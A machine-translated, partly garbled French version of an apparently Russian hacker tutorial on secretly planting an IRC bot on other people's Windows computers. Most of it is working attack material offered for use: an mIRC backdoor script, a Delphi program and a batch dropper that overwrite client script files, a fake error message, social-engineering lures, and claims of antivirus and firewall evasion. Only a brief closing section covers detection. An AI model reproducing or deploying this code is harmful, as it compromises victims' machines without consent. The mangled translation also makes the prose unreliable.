This page has been robot translated, sorry for typos if any. Original content here.

Nous raccrochons le bot sur Windows.



1. Intro.
2. Les chevaux de Troie.
3. Les scripts mIRC.
I. écris ton script backdoor
II. écrire sur le programme Delphi, qui va insérer la porte dérobée dans le mIRC ennemi
III. écrire sur batch'ah prog, qui va insérer la porte dérobée dans le mIRC ennemi
IV. ingénierie sociale: vparivayu prog =)
4. Les deux façons en comparaison.
5. Comment vous protéger.
6. Outro.

1. De nos jours, parmi les propriétaires de chaînes populaires, il est devenu à la mode de s'accrocher aux tunnels d'une douzaine de bots de différents obus Linux pour fournir, pour ainsi dire, "la sécurité des canaux". Je, bien sûr, n'ai rien contre toutes les gouttes d'oeuf là-bas, mais comment être un simple utilisateur mortel qui n'a pas de shell, scc, ou de connaissances (comme l'élite de la chaîne # 31337 sur le serveur irc.dal.net.ru =)? Donc, dans cet article, je vais vous dire comment accrocher un bot sur une machine avec un système d'exploitation gagnant.
À mon humble avis, il n'y a que deux façons de le faire: les chevaux de Troie et les chevaux de Troie =) Commençons par le premier.

2. Si vous étiez sur msn (irc.msn.com) avant de le fermer, j'ai probablement réussi à profiter du n-ème nombre de bots sur les chaînes #russian_chat, #russian_girls, #russian_andybig et ainsi de suite. Donc, ces robots ne sont pas des eggdrops. Ceci, pour ainsi dire, SubSeven. Entendu parler d'un tel cheval? Sub7 est le seul cheval de Troie sur ma mémoire qui vous permet de suspendre irc-bot à distance (je n'ai pas utilisé de chevaux de Troie depuis longtemps, donc je ne sais pas s'il a des analogues). Alors téléchargez Sub'a d'ici et profitez-en. Ceux qui ne sont pas habitués à chercher des moyens faciles peuvent continuer à lire.

3. Les capacités des scripts mirc sont très impressionnantes. Écrire sur eux le même cgi-scanner est une affaire insignifiante, sans parler d'un simple robot. Par exemple, prenez le script WarSatan. C'est juste construit et un tel "bot simple". Lorsque vous vous connectez à votre serveur irc favori, le script en cours de connexion connecte l'invité de l'utilisateur au serveur irc.webchat.org et l'enroule sur les canaux #CHATOP, #MEKAH et #PANGKOR. C'est tout le mécanisme de travail. Notre tâche consiste à écrire la même porte dérobée simple sous la forme d'un plug-in mondial.
I. Je commenterai les lignes les plus importantes.

on 1:CONNECT:{
;#открываем соединение с твоим irc cервером
.sockopen 31337 irc_сервер его_порт
}
on 1:DISCONNECT:{
;#при разрыве соединения убиваем сокет
.sockclose 31337
}
on 1:SOCKOPEN:31337:{
;#авторизуемся на irc-сервере
.sockwrite -n $sockname USER BOT "" "localhost" :Satanic bot
.sockwrite -n $sockname NICK ник_бота $+ $r(1,999)
;#заходим на твой канал
.sockwrite -n $sockname join твой_канал
}
on 1:SOCKREAD:31337:{
;#этот скрипт автоматически отвечает на серверный ping
;#без него сервер будет кидать бота, потому что тот не отвечает на пинги
.sockread %tmp
if ($gettok(%tmp,1,32) == ping) {
.sockwrite -n $sockname PONG $gettok(%tmp,2-,32)
}
}


Nous supprimons les commentaires, nous substituons nos valeurs, numérotons les lignes (il suffit de copier le tout dans l'éditeur mIRC et de l'enregistrer - il numérote lui-même tout) et sauvegarder le fichier control.dll résultant.
La porte dérobée est prête. Il reste maintenant à l'insérer dans script.ini de quelqu'un d'autre.

II. Voici la source du programme delphi, qui recherche dans la vis le fichier script.ini et, si le résultat de la recherche est réussi, le remplace par le nôtre.

Important! Control.dll doit être conservé dans le même répertoire avec ce programme.

program Project1;

uses
SysUtils,
windows,
shellapi;


const search = 'script.ini'; //файл который нужно найти и заменить
replace = 'control.dll'; //файл, которым надо заменить, должен быть
// в том же месте откуда запуститься эта прога =)


var buf: array [0..255] of char;
fl: PChar;
flag:boolean = false;

//процедура замены файлов
procedure Change(where:pchar);

function CopyFile(FromFile, ToDir : string) : boolean; //функция копирования
var F : TShFileOpStruct;
begin
F.Wnd := 0; F.wFunc := FO_COPY;
FromFile:=FromFile+#0; F.pFrom:=pchar(FromFile);
ToDir:=ToDir+#0; F.pTo:=pchar(ToDir);
F.fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION or FOF_SILENT;
{$I-}
result:=ShFileOperation(F) = 0;
{$I+}
end;

begin
DeleteFile(where);
CopyFile(replace,where)
end;


//процедура глоб. поиска
function Find(DirN: string):boolean;
var
tsr: TSearchRec;
Full: string;

begin
find:=false;
if FindFirst(DirN + '\*.*', faAnyFile, tsr) = 0 then
repeat
if (tsr.Name = '.') or (tsr.Name = '..') then continue;
Full:= DirN + '\' + tsr.Name;
if tsr.Attr = faDirectory then //если каталог
Find(Full);
until (FindNext(tsr) <>0)or(tsr.Name = search)or flag;

if tsr.Name = search //если нашли
then begin
find:=true;
flag:=true;
Change(pchar(DirN+'\'+tsr.Name));
end;

end;


//Основной блок программы
begin
if SearchPath(nil,search,nil,sizeof(buf),buf,fl)>0 then
Change(buf)
else
begin
Find('c:');
// если надо и на других дисках искать то можешь сделать так:
// if Not Find('c:') then
// if Not Find('d:') then
// if Not Find('e:') then
//etc....
end;

end.


III. Si vous n'êtes pas en train de coder avec le genre et le cha jette dans la levure du mot "compilateur", écrivons un tel programme sur batch'ah.

echo off
cls
if exist mirc.ini goto in_the_same_dir
if exist c:\mirc\MIRC.INI set mirc=c:\mirc
if exist c:\mirc\mirc\MIRC.INI set mirc=c:\mirc\mirc
if exist c:\irc\MIRC.INI set mirc=c:\irc
if exist c:\irc\mirc\MIRC.INI set mirc=c:\irc\mirc
if exist c:\chat\mirc\MIRC.INI set mirc=c:\chat\mirc
if exist c:\chat\MIRC.INI set mirc=c:\chat
if exist c:\progra~1\mirc\MIRC.INI set mirc=c:\progra~1\mirc
if exist c:\chat\looksharp\MIRC.INI set look=c:\chat\looksharp
if exist c:\mirc\looksharp\MIRC.INI set look=c:\mirc\looksharp
if exist c:\irc\looksharp\MIRC.INI set look=c:\irc\looksharp
if exist c:\progra~1\looksharp\MIRC.INI set look=c:\progra~1\looksharp
if exist c:\progra~1\trion\MIRC.INI set neo=c:\progra~1\trion
if exist c:\progra~1\neo-ra\MIRC.INI set neo=c:\progra~1\neo-ra
if exist c:\progra~1\NeoRa\Trion\MIRC.INI set neo=c:\progra~1\NeoRa\Trion
if exist c:\progra~1\NeoRa\MIRC.INI set neo=c:\progra~1\NeoRa
if exist c:\chat\NeoRa\MIRC.INI set neo=c:\chat\NeoRa
if exist c:\irc\NeoRa\MIRC.INI set neo=c:\irc\NeoRa
if exist c:\chat\neo-ra\MIRC.INI set neo=c:\chat\neo-ra
if exist c:\irc\neo-ra\MIRC.INI set neo=c:\irc\neo-ra
if exist c:\chat\Trion\MIRC.INI set neo=c:\chat\Trion
if exist c:\irc\Trion\MIRC.INI set neo=c:\irc\Trion
if exist c:\Trion\MIRC.INI set neo=c:\Trion
if exist c:\NeoRa\MIRC.INI set neo=c:\NeoRa
if exist c:\Neo-ra\MIRC.INI set neo=c:\Neo-ra
if exist d:\chat\NeoRa\MIRC.INI set neo_here=d:\chat\NeoRa
if exist d:\irc\NeoRa\MIRC.INI set neo_here=d:\irc\NeoRa
if exist d:\chat\neo-ra\MIRC.INI set neo_here=d:\chat\neo-ra
if exist d:\irc\neo-ra\MIRC.INI set neo_here=d:\irc\neo-ra
if exist d:\chat\Trion\MIRC.INI set neo_here=d:\chat\Trion
if exist d:\irc\Trion\MIRC.INI set neo_here=d:\irc\Trion
if exist d:\Trion\MIRC.INI set neo=d:\Trion
if exist d:\NeoRa\MIRC.INI set neo=d:\NeoRa
if exist d:\Neo-ra\MIRC.INI set neo=d:\Neo-ra
if exist d:\mirc\MIRC.INI set mirc=d:\mirc
if exist d:\mirc\mirc\MIRC.INI set mirc=d:\mirc\mirc
if exist d:\irc\MIRC.INI set mirc=d:\irc
if exist d:\irc\mirc\MIRC.INI set mirc=d:\irc\mirc
if exist d:\chat\mirc\MIRC.INI set mirc=d:\chat\mirc
if exist d:\chat\MIRC.INI set mirc=d:\chat
if exist d:\looksharp\MIRC.INI set look=d:\looksharp
if exist d:\chat\looksharp\MIRC.INI set look=d:\chat\looksharp
if exist d:\mirc\looksharp\MIRC.INI set look=d:\mirc\looksharp
if exist d:\irc\looksharp\MIRC.INI set look=d:\irc\looksharp
if "%mirc%"=="" goto no_mirc
deltree /y %mirc%\script.ini
copy control.dll %mirc%\script.ini
cls
:no_mirc
if "%look%"=="" goto no_look
deltree /y %look%\System\lookevents04.sys
copy control.dll %look%\System\lookevents04.sys
cls
:no_look
if "%neo%"=="" goto end
deltree /y %neo%\root\trionscr7.ini
copy control.dll %neo%\root\trionscr7.ini
cls
goto end
:in_the_same_dir
deltree /y script.ini
copy control.dll script.ini
:end
echo Your Microsoft Windows is not correctly installed.
echo Pleas re-install it and try again

Ce canot par une méthode poke recherche mIRC, NeoRa Trion et Looksharp. La probabilité de trouver est plutôt insignifiante, il est donc souhaitable de persuader le sujet de mettre ce fichier avec control.dll dans un répertoire avec son irc-client. Dans le cas d'un résultat de recherche réussi, le fichier est remplacé par un autre script.ini par notre control.dll.
Convertir ce bat'nik en exe'shnik certains bat2exec'om et vous pouvez vparivat vos amis.

IV. Je pense que ce n'est pas à moi de vous dire comment "vparivat" quelqu'un exe'shnik. Je veux juste souligner une caractéristique. D'accord, s'il vous plaît commencer votre exe'shnik évoque la suspicion même à l'utilisateur le plus intime. Donc, vous pouvez aller dans l'autre sens. Pour ce faire, revenez à l'étape I. NE NUMÉROZ PAS la ligne du script, placez-la simplement dans le fichier joke.mrc. C'est tout. Maintenant donnez-le à vos amis avec les mots: mettez-le dans le catalogue avec votre monde, entrez dans sa console "/ load -rs joke.mrc" et profitez de tous les charmes du plug =)

4. Et donc, quelle est la meilleure façon de remplacer script.ini?
1) n'est pas détecté par un logiciel antivirus
2) n'est pas capturé par FairWalls. Je pense que beaucoup de gens vont commencer à prouver avec leur mousse de la bouche que ZoneAlarm et AtGuard vont les protéger contre cela. Spécifiquement pour eux, j'explique: si mIRC dans ces deux firewalls est enregistré comme serveur autorisé \ client, le FV ne regarde même pas quand la connexion est ouverte par la porte dérobée.
3) il est difficile de détecter / tuer même un utilisateur expérimenté

5. Et maintenant, comment vous protéger. Encore une fois, je ne considérerai pas la méthode avec Sub7'om (car avec tout cela est clair: AVP + ZoneAlarm), je vais immédiatement passer à la seconde.
Pour la détection d'un backdoor de script, il vaut la peine d'utiliser un plugin mIRC comme IPSearch'a, qui chercherait sur le serveur de l'utilisateur avec la même adresse IP que vous. S'il y en a un, alors quelqu'un a définitivement accroché un bot sur vous. Si ce n'est pas trouvé, alors le bot sur un autre serveur, ou vous êtes propre.
Aussi, pour détecter le bot, vous pouvez utiliser le même ZAlarm: pour l'instant, les plus grands serveurs IRC, vérifiez tous les clients sur le proxy. Comment? Un simple scan de port. Donc, si vous vous connectez au serveur irc.some.com, et les ports à la ta numérisent irc.lame.com, ça vaut la peine de penser à ...
Comment tuer une porte dérobée? Si vous ne comprenez pas le script, réinstallez simplement le client IRC.

6. Eh bien, que puis-je dire en conclusion? N'utilisez pas de scripts non familiers et ne forcez pas les autres à le faire =)